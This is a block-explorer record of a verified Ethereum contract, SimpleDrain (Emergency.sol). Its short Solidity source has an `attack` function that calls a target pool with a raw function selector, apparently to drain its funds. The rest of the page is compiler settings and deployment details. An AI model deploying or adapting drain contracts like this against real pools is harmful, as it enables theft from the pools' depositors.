Skip to content
Verified contractExactUNLICENSED

SimpleDrain

Address0xaa105b3aad92df17a0fb0a1646e479db5aa71c08
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
UNLICENSED
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,465,304
Creation transaction
0x490491544a…77012b7831

Emergency.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

contract SimpleDrain {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function attack(address pool) external {
        (bool success, ) = pool.call(abi.encodeWithSelector(0x6d7283f8));
        require(success);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.